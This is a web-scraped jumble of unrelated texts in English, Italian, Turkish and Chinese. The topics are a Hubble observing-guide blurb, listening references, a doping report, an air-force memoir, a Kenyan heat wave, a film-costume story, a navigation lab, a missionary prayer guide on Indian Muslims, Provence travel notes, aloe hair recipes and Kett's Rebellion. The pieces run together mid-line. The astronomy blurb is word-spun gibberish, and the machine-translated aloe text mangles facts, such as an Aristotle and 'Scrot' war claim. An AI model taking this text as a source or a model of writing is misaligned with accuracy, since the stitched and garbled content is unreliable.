From the authors of "How to discover the Apollo touchdown Sites," it is a advisor to connecting the view above with the background of modern clinical discoveries from the Hubble area Telescope. each one chosen HST picture is proven with a sky map and a photo or drawing to demonstrate the place to discover it and the way it's going to look from a yard telescope. here's the informal observer's probability to find the deep area items visually, and savor the historical Hubble images compared to what's noticeable from a yard telescope. HST items of all kinds are addressed, from Messier items, Caldwell gadgets, and NGC items, and are prepared when it comes to what will be noticeable through the seasons. also, the reader is given an ancient point of view at the paintings of Edwin Hubble, whereas finding and viewing the deep area items that modified astronomy endlessly.
Countless humans have noticeable the
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an understanding of the other person. Listening is a powerful tool, and truly listening leads us to develop healthier, stronger relationships with our clients, and leads our clients to better understand themselves and relationship dynamics. Listening is an all too important tool that we can apply to every scenario, and offer our clients when we find ourselves with nothing but our attentive ears to give.
Therapy cannot occur without a licensed practitioner, just the same as art therapy cannot occur without a licensed art therapist. However, we can employ therapeutic methods while counselling our clients in atypical settings (within their homes, at school, on the street).
Burley-Allen, M. (1995). Listening: The forgotten skill: A self-teaching guide (2nd ed.) New York, NU: John Wiley & Sons, Inc.
Cuny, K, M., Wilde, S, M., & Stevens, A, V. (2012). Using Empathetic Listening to Build Relationships at the Center. In. Yook, E, L. & Atkins-Sayre, W. (Eds.), Communication Centers and Oral Communication Programs in Higher Education. UK: Lexington Books.
Ender, S, C., & Newton, F, B. (2000). Students Helping Students: A guide for peer educators on college campuses. San Fransisco, CA: Jossey-Bass.
Jackons, S, W. (1999). Care of the Psyche: A history of Psychological Healing, New Haven & London: Yale University Press.
Rogers, Carl. (1975). Empathic: An Unappreciated Way of Being. The Counseling Psychologist. Vol. 5, No. 2-10.
Rogers, C., & Farson, R. (1987). Active Listening. From Communicating in Business Today R.G. Newman, M.A. Danzinger, M. Cohen (eds) D.C. Heath & Company.
Stewart, J., & Logan, C. (2002) Empathetic and dialogic listening. In J. S. Stewart (Ed.), Bridges, not walls: A book about Interpersonal communication. (8th ed., pp. 208-229) Boston, MA: McGraw-Hill.Parigi, 20 luglio – Sull’edizione online dell’Equipe viene riportata la notizia della positività del francese Nordine Gezzar, quarto nei tremila siepi agli ultimi campionati europei di atletica, che salterà così le Olimpiadi di Londra. L’atleta, in un controllo commissionato dall’Agenzia francese per la lotta contro il doping (AFLD) è risultato positivo dato che gli sono state rilevate tracce di Epo.Parte importante nella vita aeronautica dell’Atlantic del 41° Stormo hanno avuto i componenti delle linee di volo.
Uomini e donne che in silenzio, ma sempre più in maniera efficace, permettono giornalmente che un velivolo vada in volo, ma soprattutto porti a casa il pilota, l’equipaggio, dopo che questi hanno portato a termine la missione a loro assegnata.
Ogni linea di volo ha il proprio nome in codice, che viene usato anche durante le trasmissioni radio; all’Atlantic di Sigonella è stato scelto di accomunare gli specialisti di linea con il “Lupo”, un animale forte, presente sia nel vecchio che nel nuovo mondo, sociale, rispettato da tutti.
Così, la storia racconta che, solitamente il lupo “Alfa” era identificato nel Capo linea, il quale si avvaleva dei subordinati “beta” e “omega”. Solitamente la “famiglia dei lupi era composta da 11-13 componenti. Do
po qualche anno, dalla famiglia di origine si sganciano altri lupi, che da beta o omega diventano alfa, formando un nuovo branco. Quando un lupo andava via, ne veniva adottato un altro, purché questo non infastidisse il lupo alfa.
Se il lupo ululava per radunare un branco, o per comunicare a lunga distanza, il Capo Linea usava la radio.
Il lavoro dei lupi era organizzato in modo continuo, affinché venisse assicurato sempre il servizio di allarme e quando un velivolo andava fuori sede per più giorni, veniva fuori il carattere sociale dei lupi. Essi infatti, come il loro sinonimo animale, si organizzavano affinché tutto andasse a buon fine, che fossero al Polo Nord o sotto l’Equatore, in Africa o in Asia, nel bel mezzo dell’Oceano Indiano o al centro dell’Oceano Atlantico. Il lupo “Alfa – Capo Linea” si interfacciava con il più anziano tra i componenti l’equipaggio, o con il Capo Equipaggio o addirittura con il Capo Delegazione, per organizzare in primo luogo la logistica e ogni cosa necessaria per il buon esito della missione. Come in base, quando fuori sede, il personale di Linea si prodigava per condividere il pasto con l’equipaggio, secondo gli usi e costumi siciliani, ed in particolare alla fine di una lunga missione di volo.
In questo contesto, poteva “spiccare” il rapporto di parentela tra membri del Gruppo di Volo appartenenti alla stessa famiglia: prima padre e figlio, poi fratelli, o addirittura gemelli. Questi ultimi, conosciuti in tutto lo Stormo, ma anche fuori, sono i gemelli Praticò. Arruolati negli anni ottanta, se Pietro è arrivato subito dopo la scuola all’88° Gruppo, il fratello, Emanuele, lo ha raggiunto 15 anni dopo, successivamente ad una formativa esperienza presso l’11° Reparto Manutenzione Velivoli, dove è addirittura diventato Capo Ispezione.
Molto simili tra loro, corre l’obbligo di raccontare quanto accaduto con un Capo Equipaggio che, al rientro dal volo operativo, si rivolgeva a Pietro con la frase “…come discusso stamattina…”, Pietro lo interruppe con la frase “… mi scusi, ma sta mattina ha parlato con mio fratello…”, alla quale il C.E. risponde: “Ecco, solita frase dei gemelli, nascondersi dietro il fratello”. Dopo avergli dimostrato che era come dicevo io, mi raccontava un aneddoto successogli qualche tempo prima: passeggiando per Catania, riconosce davanti a lui un compagno di scuola, al quale gli rivolge uno scappellotto. Questo si gira arrabbiato per quanto successo, Lui riconosce di aver fatto un errore e si scusa; capisce però che anche il suo ex compagno di classe aveva un gemello, che lui aveva conosciuto poco prima, e anche quest’ultimo con stessa caratteristica dell’altro: balbuziente.
Testo : Primo Luogotenente Pietro Giovanni PRATICO’, in servizio al 41° Stormo Antisom di Sigonella
1,501 total views, 2 views todayFor the first time in history, Kenya is expected to experience one of the world's worst heat waves, with temperatures expected to hit more than 40 degrees Celsius (above 104 deg F) during the day in northwestern and northeastern parts of the country.
A month-long weather forecast released by the Kenya Meteorological Department on Wednesday indicates that the looming heat wave will most likely be triggered by bursts of extreme heat that are expected to hit the two regions in the month of January.
According to Peter Ambenje, the Deputy Director at Kenya Meteorological Department, the heat wave is likely to worsen droughts and sandstorms in the two areas thus causing serious socio-economic problems.
"The expected high daytime temperatures of more than 40deg C in Northwestern and Northeastern parts of the country may give rise to heat waves that are a potential health risk," Ambenje was quoted by the Star. Being the first time that the country is experiencing this kind of extremely hot weather condition, the meteorological department has warned Kenyans to take caution as too much heat can easily cause death.
The abnormally hot and humid weather prevents a person's body from cooling itself through sweating, which eventually causes heat stroke.
Extreme heat at night also causes discomfort and can easily lead to serious health problems.
The meteorologist also warns that the unusual weather condition might affect water supply in many parts of the country due to dry water catchment areas.
Kenyans in these areas should, therefore, ready themselves for tough times ahead.
In a study published by Environmental Research Letters in 2016, scientists warned that frequent extreme heat waves are on the rise in Africa and that the extended hot weather conditions could negatively affect life expectancy and food production on the continent.
The study further cautioned that the heat waves currently classified as unusual could be a normal occurrence in the next 20 years, mainly due to the increasing average global temperature.Quando immagini un abito da ballo degli anni '80, ti vengono in mente una serie di attributi molto specifici: maniche a sbuffo, una gonna voluminosa, possibilmente a strati, al ginocchio e taffetà a balze.Leggi l'articolo
Allora perché lo era Molly Ringwald Il vestito da ballo di fine anno nell'iconico film del 1986 Carina in rosa nessuno dei precedenti?
Ho detto: 'Questa è Molly! Non posso semplicemente darle un vestito da ballo', ha detto Marilyn Vance, la costumista del film cult Huffington Post del modello, che prevedeva spalle a vista, pois e carré in pizzo. Sono solo andato nell'altra direzione. Non volevo uscire con niente.
Nel film diretto da Howard Deutch che ha recitatoJon Cryer,Andrea McCarthyeJames Spader, Andie di Ringwald ha creato il suo abito da ballo.Leggi l'articolo
Poiché Andie veniva dalla parte sbagliata dei binari, non poteva permettersi un vestito nuovo per il ballo di fine anno. Entra la sua amica Iona ( Annie Potts ), che ha regalato ad Andie il suo vestito da ballo vecchio di decenni. Con quello stile vintage e un capo di suo padre ( Harry Dean Stanton ), Andie ha cucito insieme l'ultimo vestito anti-anni '80.
Secondo Vance, la scollatura è stata ispirata dal top nero che Andie indossava mentre disegnava il design finale (nella foto sopra). Ho provato a mettere insieme la storia: come le è venuta in mente quell'abito? ha detto Vance.
Ma lo stile era polarizzante, anche per Ringwald. Oh ragazzo. Molly odiava quel vestito, spiegò Vance. Voleva essere come le altre ragazze, sai, con un vestito senza spalline con una specie di gonna ampia.
Sebbene l'abito sia memorabile come la sincronizzazione labiale di Duckie con Try a Little Tenererness, Vance ammette che non ha mai voluto che fosse un design rivoluzionario. Non dirò che ne ero innamorato, ha detto. Ma [gli abiti comuni dell'epoca] non erano il personaggio. Il personaggio era così originale. Aveva una mente tutta sua, ha marciato verso un batterista diverso.
Cosa ne pensi delCarina in rosavestirsi dopo tutti questi anni?Much of the work in the Brain and Cognition Laboratory investigates how people navigate in the very near environment. Imagine turning out the light at night and then attempting to "navigate" in the room when it's dark. People are generally able to do this pretty well. This shows that people remember their environment and can keep track of their own body motions. In the Brain and Navigation Laboratory, we study the psychological and neural processes that allow us to perform tasks such as these.
Medial temporal lobectomy: Sometimes when people have injuries in and around the medial temporal lobe, the way they keep track of nearby objects and their own body motions changes. These changes are seldom bothersome, but they are important for understanding how the brain monitors body and object motions. In research funded by the National Institute for Neurological Disorders and Stroke, we are testing the ability of people who have had brain surgery in these regions to keep track of simple body motions.
Philbeck, J.W., Behrmann, M., Biega, T., & Levy, L. (2006). Asymmetrical perception of body rotation after unilateral injury to human vestibular cortex. Neuropsychologia, 44, 1878-1890.
Philbeck, J. W., Behrmann, M., Levy, L. & Potolicchio, Jr., S. J., & Caputy, A. J. (2004). Path integration deficits during linear locomotion after human medial temporal lobectomy. Journal of Cognitive Neuroscience, 16(4), 510-520.
Philbeck, J. W., O'Leary, S., & Lew, A. L. B. (2004). Large errors, but no depth compression, in walked indications of exocentric extent. Perception & Psychophysics, 66(3), 377-391.
Philbeck, J. W., Klatzky, R. K., Behrmann, M., Loomis, J. M., & Goodridge, J. (2001). Active control facilitates non-visual navigation. Journal of Experimental Psychology: Human Perception and Performance, 27, 141-153.
Philbeck, J. W., Behrmann, M., & Loomis, J. M. (2001). Updating of locations during whole-body rotations in patients with hemispatial neglect. Cognitive, Affective, & Behavioral Neuroscience, 1, 330-343.
Philbeck, J. W., Behrmann, M., Black, S. E., & Ebert, P. (2000). Intact spatial updating during locomotion after right posterior parietal lesions. Neuropsychologia, 38, 950-963.
How do we use our eyes to find out where things are?
In the Brain and Navigation Laboratory, we use a variety of different methods for measuring people's perception of the distance and direction of nearby objects. Some of these methods are "action-based", such as walking or aiming a pointer at an object (see pictures above). These are useful ways of measuring perception, because they do not rely upon people's familiarity with numbers.
Gajewski, D.A., Philbeck, J.W., Chichka, D.F. & Pothier, S.G. (2008). Exploring the time course of egocentric distance perception with visual masking of a real-world environment. Annual meeting of the Vision Sciences Society, Naples, FL, May 12, 2008.pdf
Philbeck, J.W., Dopkins, S., Sargent, J. & Arthur, J. (2008). Large manual pointing errors, but accurate verbal reports, for indications of target azimuth. Perception, 37, 511-534
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ka 2:8-10’da okuyoruz, nasıl İsa’yı ilk olarak tanıyan kişiler çobanlar oldu. Melek de onlara şöyle bir müjde verdiler: “Ben size bütün halka büyük bir sevinci bildiriyorum.” Dua edelim Rab kendi Oğlunu bir çoban halkı olan GUCER halkına da açıklasınç öyle ki asıl iy içobanı tanısınlar.
Çok az sayıda olan GUCER imanlıları, birbirlerinden artık korkmasınlar, bir araya gelip toplansınlar
GUCER diline şu anda bir İncil tercümesi yapılıyor. O dilde İsa filmin teksti çevirildi, ama filmin kendisi henüz hazır değildir. Hem incilin basımı, hem de İsa filmin yapılması için gereken para ve personel bulunsun, öyle ki, GUCER halkı iyi haberi kendi dilinde işitsinler
Hem Hindistan’dan, hem de başka devletlerden daha fazla misyoner çıksın GUCER halkına gitmek için
devlet: HİNDİSTAN'daki müslümanlar
140 milyon kişi – Harita: 17
"Şevik ol! Saklan!" Sundaraya'nın arkadaşı ona fısıldayarak uyarmaya başladı. Arkasına bakıp gördü ki, Sundaraya'nın hısımları deli kızgın olup onu aramaya çıkmışlardı, onu öldürmeye karar vermişlerdi.
Acaba ne oldu? Sık sık olduğu gibi, Rab gene bir Hindistanlı müslümana rüyada göründü. Sundaraya hakikatı aramaya karar vermişti ve en sonunda onu İsa Mesih'te buldu. Geceleyin saklıdan bir radyo programını dinlemişti. Daha sonra hristiyan bir arkadaş ona bir incil hediye etmişti. Yeni bulduğu imanı ve kavuştuğu Allahla ilişikisi, Sundaraya için en kıymetli şeyler idi. Bunun uğruna herşeyi feda etmeye ve bütün baskılara dayanmaya hazırdı. Ama onun hısımları kesinlikle onun müslümanlığı terk etmesine izin vermeyecekler. Onun yeni bulduğu inancına asla izin vermeyecekler
Sundaraya, Hindistan'da yaşayan müslümanlardan biridir. Hindistan derken, hemen Hinduizm aklımıza geliyor, ve gerçekten de halkın 80% Hinduisttir. Ama onun dışında orada 140 milyon müslüman yaşıyor, o da halkın 13% demektir. Hristiyanlar gibi, müslümanlar da Hindistan'da bir azınlıktır. Gene de Hindistan'daki müslümanlar ayrı bir devlet olsa, sadece Pakistan ve İndonezya ondan daha kalabalık olacaklardı. Hindistan bir devletten çok, ayrı bir kontinente benziyor, o kadar büyüktür.
Hindistandaki müslümanlığın tarihi çok uzundur. Bin seneden beri orada müslümanlar var. En başta kimi türk halklar gelip Patna kasabasına yakın bölgeleri ele geçirdiler ve oradaki Hinduist halkı müslüman yaptılar. 1500-1700 yılları arasında Mongollar Hindistan'ı kontrol ederdiler. Mongollar müslüman değildiler, ama gene de devleti idare etmek için müslümanları kullandılar. 1750 yılından sonra İngilizler Hindistan'ı bir koloni olarak kontrol ederdi, ve İngilizlerin altında da müslümanlar önemli yerler alırdı.
1947 yılında Hindistan bölündü: müslüman oblastlar 'Pakistan' devleti oluşturdular ( o daha sonra Pakistan ve Bangladeş olarak gene ikiye bölündü). O zamandan beri Hindistan'daki müslümanların politik gücü giderek azalıyor. Bugün o kadar kalabalık olduğu halde, baskı gören bir azınlıktırlar.
Her gün Hindistan-Pakistan sınırında kavgalar ve çatışmalar oluyor. On seneden beri, BJP adındaki parti, Hindistan'ın en önemli partisi oldu. Onların amacı, Hindistan'ı gene temiz bir Hinduist devleti haline çevirmektir. O amaçla her sene giderek daha fazla ölümler yapılıyor.
Hindistan'daki müslümanların çoğu (60 milyon kişi) Urdu dilini konuşuyor. Öbürler yaşadıkları yerin dillerini konuşuyorlar (Hindistan'da resmi (ofitsialno) 18 tane dil geçiyor, halkın arasında konuşulan diller ise: 1652 tane.
Bu kocaman halk arasında sadece birkaç yüz kişi müslümanlara gidip müjdeyi yaymak için uğraşıyorlar. Ama son yıllarda, birçok kilise ve misyonlar bu konuda uyandı. Hindistanlılar için müslümanlara gidip müjdeyi yaymak daha zordur, aralarındaki engeller çok büyüktür. Hindistanlı imanlılar, müslümanları Rabbin gördüğü gibi, sevgi ile göremiyorlar. Yüzlerce sene müslümanların baskısı altında kaldıklarını bir türlü unutamıyorlar (Bulgarlar ve Türkler gibi). Onun için 'göze göz, dişe diş' onlara daha kolay geliyor.
Ama son yıllarda kimi Hindistanlı misyonlar aralarında yaşayan müslümanlar için dua etmeye başladılar ve müslüman taraflarına misyoner yollamaya başladılar.
DUA KONULARI:
Hindistan'daki müslümanların kalpleri açılsın, İsa'nın müjdesini duyup anlasınlar ve kabul etsinler.
Daha fazla kişi ve kilise müslümanlara müjdeyi duyurmak için uyansınlar. Daha çok işçi gönderilsin.
Hindistan ve Pakistan arasında savaş olmasın, özellikle Kaşmir bölgesinde.
Gizli imanlılar için dua edelim: Rab onların hayatlarını korusun ve müjdeyi yaymak için onlara kuraj versin.
Başka devletlerden de müslümanlıktan gelen imanlılar Hindistan'a gelip müslümanların arasında çalışsınlar.
bölge: Cammu ve Kaşmir (Hindistan’da)
yaklaşık 7 milyon müslüman – Harita: 19
Hindistan’ın en kuzey tarafında, tam Pakistan ve Çin’in (Kitay) sınırında “Cammu ve Kaşmir” adınadaki sancak bulunuyor. Bu sancak iki ayrı parçadan meydana gelmiştir. Kaşmir denilen yarısı çoğunlukla müslümandır. Müslümanlardan sonra Hinduistler geliyor, ayrıca Sihler, Budistler ve de Hristiyanlar var. 14. yüzyılda Kaşmirin Budist kralı müslümanlığa geçti ve öylelikle bütün devleti müslümanlığa açtı. 500 sene boyunca müslümanlar bu devleti kontrol ettiler (1320 – 1819). Bugünlerde Kaşmir’de aşağı yukarı 7 milyon müslüman yaşıyor. Kaşmir halkı Mongol, Türk ve Afgan kökenlidir, ve o sebeplen Hindistanlılara hiç benzemiyor, farklılığı hemen göze batıyor.
Uzun zamandan beri fanatik müslüman gruplar Kaşmir için uğraşıyorlar. Ya Hindistan’dan ayrı bir müslüman devleti olsun, ya da Pakistan’a katılsın diye istiyorlar. Bu istekler, kanlı bir iç savaşa sebep oldular; 1986 senesinden bugüne kadar devam ediyor. Kaşmir sancağı artık ikiye bölündü: bir parçası Hindistan tarafından kontrol ediliyor, öbür yarası Pakistan’dan. Artık Kaşmir’de normal bir yaşam mümkün değildir. “Kaşmirin Kurtuluşu için Cihad” adındaki hareket bütün dünyada müslümanların gözündedir. Osama bin Laden ve onun ortakları durmadan kendini Kaşmirlilerin kardeşleri ilan ederler. O yüzden Kaşmir savaşı sadece Hindistan’ın içinde bir iç savaştan öte geçmiştir. Pakistan hükümeti Avrupa ve Amerika’nın dostudur ve teroristlere karşı savaşıyor. Ama Pakistan halkının kendisi başka düşünüyor. O yüzden Pakistan’daki teroristler hep Pakistan halkından destek görüyorlar. Her gün insanlar çatışmalarda ya da bombalar tarafından öldürülüyor. Her gün tarafsız kişiler de kaçırılıyor ve Hindistanlı askerler öldürülüyor. 2001 senesinde başkent Şrinagar’da parlamentoya bile bomba attılar.
Güvenlik yüzünden hristiyan organizasyonların çoğu kendi adamlarını Kaşmir’den çektiler. Ama müslümanlıktan gelen birçok imanlı var. Onlar orada kalıp İsa’nın müjdesini yaymaya devam ediyorlar. Onlardan haber almak zordur, çünkü telefon, email ve internet bağlantıların hepsi kesik. Gene de oradaki kardeşlerden haber alıyoruz. Afganistan’daki talibanlar Kaşmir’deki fanatik müslümanlar için örnektir. Artık kadınların büsbütün örtünmelerini istiyorlar, şeriat devlet kanunu olarak kabul edilmesi için uğraşırlar. Kadınlara çok fazla baskı yapılıyor. Ferece takmaya karşı çıkan bazı kadınların kafalarını bile kestiler.
Öyle korkunç bir ortamda, tabii ki, açık olarak müjdeyi yaymak mümkün değildir. Ama insanlarla tek tek konuşmakla, broşür dağıtmakla ve evlerde küçük gruplar halinde soruları olan müslümanları davet etmekle gene de İsa Mesih’in haberi yayılıyor. İşin güzel tarafı da şu ki, bütün baskılara karşı giderek daha fazla müslüman İsa’ya geliyor, hem de özellikle en çok hocalar. Bu, şükür etmemiz için sebeptir.
DUA KONULARI:
Yerli imanlılar için Rabbe şükür olsun. Kendi vatandaşlarını o kadar seviyorlar ki, memleketinde kalıp korkunçluktan kaçmıyorlar, yeter ki, müjdeyi yayabilsinler.
Gündelik yaşamda Kaşmir’deki imanlılar büyük baskı altında kalırlar. Bu durumda dayanabilmek için dualarımza muhtaçtırlar.
Yeni imana gelmiş olan müslümanlar henüz çok zayıf durumdalar. Onları imanda büyütürmek için kurslar ve seminarlar yapılsın. Rab öyle dersleri de korusun diye dua edelim.
bölge: Racastan (Hindistan)
yaklaşık 6 milyon müslüman – Harita: 17
Develer, kafalarında sarık taşıyan erkekler, renkli rubalar giyiyen kadınlar,
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questa città venivano risparmiati.
Molti di questi boschetti ora producono olive AOP e olio d'oliva della Provenza.
E se vuoi saperne di più ci sono alcuni domini che puoi visitare, dove incontrerai il proprietario per un'introduzione approfondita a questo antico modo di vivere.
Mas des Bories è uno di questi posti e ha boschetti disseminati di vecchie capanne a secco e erbe selvatiche come Bay, Lavander e Thyme.
Musique à l'Empéri
Per dieci giorni di ogni anno sulla cuspide di agosto c'è un festival di musica da camera, che invita solisti da orchestre preminenti come l'Opéra de Paris, Berlin Philharmonic e London Symphony Orchestra.
Accusare queste esibizioni con vera solennità è la sede, nel cortile rinascimentale del castello de l'empéri.
Si svolgono alle 21:00 di ogni sera, mentre la chiesa romanica di Saint-Michel ospita spettacoli precedenti alle 18:00. Per mantenere il programma fresco c'è anche musica classica contemporanea.
E se puoi provare a catturare uno spettacolo in cui i musicisti dal vivo accompagnano un film muto.
- « Le 10 migliori cose migliori da fare in villeneuve-d'ascq
- Le 10 migliori cose migliori da fare in Bourg-en-Bresse »完善详情页
让我们面对现实，丹麦并不以廉价的酒精饮料闻名。如果你想要一些啤酒，你可以去一个有很多优质啤酒的酒吧。米克勒，出席人数众多，库存充足。友好的服务和建议以及您喜爱的啤酒小品尝者。我们党参加了两次，所有人都过得很愉快。Scuola Civica di Musica 'Nino Dispenza' per l'anno scolastico 2020/2021.- Corsi di Musica 2020-21
Sono aperte le iscrizioni per i corsi individuali e collettivi, che si svolgeranno nel periodo DICEMBRE 2020-GIUGNO 2021
Il modulo di iscrizione, disponibile sul sito istituzionale, deve essere trasmesso al protocollo del comune mediante email (email@example.com) o pec (firstname.lastname@example.org) o in alternativa può essere immesso nella cassetta postale collocata all'ingresso del Comune.Per la prima volta gli antichi egizi si riferirono alle proprietà curative dell'aloe 37 secoli fa. La pianta serviva non solo come un curativo, ma anche come un cosmetico, come dimostra l'attaccamento ad esso di Nefertiti e Cleopatra. E Aristotele ispirò Alessandro di Macedonia alla guerra con gli aborigeni dell'isola africana di Scrot, per avere sempre l'aloe per il trattamento dei soldati.
L'aloe è una pianta erbacea con foglie variegate e pungenti raccolte in una rosetta con un diametro fino a 0,6 metri. Con una lunga assenza di acqua, ostruisce i pori e vive a causa dell'umidità immagazzinata nelle foglie. Questa umidità è lo stesso succo, famoso per le sue proprietà medicinali e cosmetiche.
Il tipo più popolare è l'aloe vera, si chiama "reale". Si distingue per le foglie spesse, carnose verdi o bluastre, da cui si ottiene molto succo. Da questo è ampiamente distribuito tra le piante da interno, ed è chiamato per la sua vitalità "agave".
Composizione e proprietà utili
L'uso di aloe per i capelli risiede nella ricca composizione chimica del succo delle sue foglie:
- Prostaglandine - sostanze ormonali che accelerano la crescita dei capelli del 10-30%;
- I glicosidi e la vitamina C, P contribuiscono a rafforzare e migliorare l'elasticità dei capillari del cuoio capelluto e la loro pulizia;
- La glicoproteina ripristina la struttura del fusto del capello;
- I composti fenolici sono potenti antiossidanti che aiutano a resistere agli effetti dei radicali liberi, prevengono l'invecchiamento;
- Gli enzimi stimolano i processi metabolici a livello cellulare, migliorando la qualità della nutrizione delle radici;
- Le resine accelerano la rigenerazione delle cellule della pelle e la crescita dei ricci;
- Le vitamine del gruppo B e il calcio resistono alla caduta dei capelli, danno lucentezza e sono responsabili della salute del cuoio capelluto;
- Zinco: stimola la crescita;
- Il magnesio rinforza le radici, dona il volume dei capelli;
- Il rame combatte i primi capelli grigi.
L'aloe vera è utilizzata in vari cosmetici, come maschere e shampoo per capelli (Ollin, Barex), creme, gel per il corpo, viso e mani (Mon Platin, The Face Shop), balsami per labbra (Belweder, Limoni).
L'uso di prodotti con aloe per la cura dei capelli è controindicato in caso di intolleranza individuale.
Applicazione dei capelli
L'aloe è adatto per qualsiasi contenuto di grasso di riccioli. È utilizzato principalmente per il trattamento e la prevenzione della caduta dei capelli, nonché per:
- rafforzare le radici;
- attivazione della crescita dei capelli;
- anti forfora
Per estrarre il succo dalle foglie di aloe, hai bisogno di una pianta interna - l'agave. Per questo:
- Elimina le foglie di tre anni della pianta. Si trovano nella parte inferiore dell'uscita in piante giovani e nel mezzo di quelle vecchie. Prima di procedere alla raccolta, il terreno nel vaso non viene inumidito per 2 settimane per aumentare la concentrazione di sostanze attive;
- Le foglie di aloe raccolte vengono lavate e stese su garza fino a quando non viene assorbita tutta l'umidità;
- Tagliare a pezzetti;
- Piegare in una garza e accuratamente schiacciato per spremere un massimo di succo. Puoi usare lo spremiagrumi o un'altra macchina da stampa.
È inoltre possibile preparare il succo di aloe biostimolato, che contiene stimolanti biologici che risvegliano le cellule con attività vitale sbiadita. Viene prodotto in condizioni estreme per la pianta ed è necessario per la sopravvivenza. Per ottenere un estratto del genere:
- Foglie lavate e secche di aloe vera per 12 giorni vengono inviate ad un frigorifero con una temperatura di 4-8 gradi;
- Rimuovere le parti annerite;
- Tagliare finemente la materia prima rimanente e spremere il liquido con una garza o uno spremiagrumi.
Ma il succo di aloe può essere acquistato in forma finita in farmacia. È disponibile in flaconi da 50 ml che costano da 90 rubli e fiale al prezzo di 200 rubli per 10 pezzi. Conservare il succo in frigorifero. Casa - non più di un giorno, in bottiglie - 1 anno, in ampolle - 3 anni.
Ricette fatte in casa
In forma pura, il succo di aloe viene usato per massaggiare le radici dei capelli. Viene utilizzato prima di lavare la testa per eliminare la forfora, idratare i ricci secchi e detergere i grassi. Tenere il succo di aloe sui capelli e la testa è raccomandata fino a 2-3 ore. In caso di profilassi, viene aggiunto a shampoo e balsami per capelli al ritmo di 1 cucchiaino. estratto per mezzo di servizio.
tintura
Ricetta per rafforzare le radici e combattere la forfora:
- Cogliere 4 foglie di aloe;
- Mettere in un contenitore di vetro e versare 200 ml di alcool;
- Refrigerare per almeno 4 giorni.
La tintura finita di aloe processa le radici dei capelli per 30 minuti prima di lavarle con una frequenza di 1-3 volte a settimana. Riscaldare la testa con un asciugamano per migliorare l'effetto terapeutico. La leggera irritazione della pelle sotto forma di rossore è possibile.
decotto
- Riempire 4 foglioline con acqua;
- Metti il contenitore nel bagno d'acqua;
- Portare a ebollizione e cuocere a fuoco lento per 15 minuti;
- Raffreddare e filtrare.
Risciacquare i capelli bagnati con un prodotto ogni volta dopo il lavaggio.
Ricette di maschera per capelli all'aloe
Contro la caduta dei capelli
- Succo di foglie di aloe - 40 ml;
- Miele liquido - 40 ml;
- Cognac - 20 ml;
- Il tuorlo è uno.
Mescolare gli ingredienti con una consistenza uniforme e strofinare la maschera nelle radici prima di lavare i capelli. Tenere 1 ora sotto il cappuccio di riscaldamento. Ripeti la procedura 1-2 volte a settimana per un mese, quindi prendi una pausa di 2 settimane e ripeti il corso.
Maschera per nutrire e idratare i capelli secchi
- Estratto di aloe - 5 ml;
- Olio d'oliva - 5 ml;
- Uova - 1 pz.;
- Kefir - 20 ml;
- Vitamina E - 1 fiala.
Separare il tuorlo dalla proteina, aggiungere gli altri ingredienti e mescolare. Strofinare sulla pelle prima di lavarla e stenderla sui capelli, lasciarla sotto un cappuccio riscaldante per 30 minuti e risciacquare. Applicare una maschera ogni 3-7 giorni.
Maschera con aloe per accelerare la crescita dei capelli
- Succo di aloe - 5 cucchiai. l.;
- Olio di bardana - 2 cucchiai. l.;
- Tintura di pepe - 4 cucchiai. l.
Mescolare gli ingredienti e i movimenti del massaggio strofinare la maschera sulla pelle e le radici prima del lavaggio. Non è consigliabile lubrificare i capelli per l'intera lunghezza a causa dell'alta gradazione alcolica. Lasciare sotto il riscaldamento per 60 minuti, e con una forte sensazione di bruciore, lavare immediatamente via. Ripetere con una frequenza di corsi ogni 3-4 giorni per 1-2 mesi con un riposo di 2-3 settimane.
Aloe per capelli - i benefici e i metodi di applicazione
L'aloe vera è una delle piante più popolari che sono ampiamente utilizzate in cosmetologia e medicina tradizionale. I guaritori esperti sono in grado di guarire vari disturbi con l'aiuto di gambi carnosi. E le ragazze moderne sono felici di usare le preziose qualità di aloe per la cura dei capelli. Questo non è sorprendente, perché la pianta unica affronta facilmente forfora, secchezza, sezione trasversale e altre imperfezioni.
Composizione di aloe
La polpa di aloe vera è ampiamente usata nella cura della casa. Ma prima di parlare dei benefici, è necessario considerare la composizione chimica dell'aloe.
La pianta contiene molto acido ascorbico. La vitamina C è necessaria per combattere l'alopecia, cioè una massiccia perdita di capelli. Come risultato dell'uso sistematico di aloe, i follicoli si rafforzano, i capelli smettono di cadere. Inoltre, l'acido ascorbico è un antisettico naturale che impedisce lo sviluppo di un fungo.
Non senza il coinvolgimento di aminoacidi, flavonoidi, glicosidi, sali inorganici, carboidrati, enzimi, tannini, vitamine del gruppo B e tocoferolo. Tutte queste sostanze sono necessarie per una piena crescita dei capelli, resistenza, morbidezza, e completa bagnatura tutto.
Come parte del aloe vera sono tali oggetti rari come catechina e allantoina. Essi sono tenuti per la nutrizione delle cellule e le scale di smoothing, così come la protezione dagli shock di stimoli esterni (sole, vento, gelo e altre condizioni climatiche avverse).
Benefici dei capelli di aloe
- Questi elementi in arrivo sono necessari, prima di tutto, per ripristinare i
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of 12,000 English troops and 1,200 German mercenaries. Norwich was surrounded and Kett was ordered to surrender. One of the rebels lowered his hose and tauntingly bared his backside. An archer, with "commendable accuracy, shot an arrow into his rump." (15)
Warwick eventually seized Norwich after several days of fierce street fighting. He then encircled Kett's camp at Mousehold Heath. Kett gave the order to move out rather than face starvation. Warwick now sent in his cavalry in among the rebels and turned their retreat into a rout in which an estimated 3,000 men were slaughtered. (16) Kett was captured the day after the battle. By early September he and his brother William Kett were prisoners in the Tower of London. (17)
Seymour wrote to a friend in Italy: "Kett fled, and the rest of the rebels, casting away their weapons and armour and asking pardon on their knees... were sent home without injury and pardoned... Kett, with three other chief captains, all vile persons... are still held to receive that which they have deserved... We trust, truly, that these rebellions are now at an end." (18)
A special commission was set up to deal with the prisoners, of whom forty-nine were executed. The Norfolk gentry who had been terrified by the class character of the rising called for a wholesale slaughter and not even Warwick's brutality could satisfy them. John Dudley, Earl of Warwick, pointed out that the rebels were the source of all their wealth, asking, "Will ye be ploughmen and harrow your own land?" (19)
Robert Kett, twice refused a pardon on the grounds that he had done nothing that needed pardoning. (20) Kett was sent to London and was found guilty of treason and was hanged at Norwich Castle on 7th December, 1549. (21) "Whatever sympathy Somerset might have felt for the Norfolk peasants, he behaved like any other Tudor ruler when it came to dealing with rebels." (22)
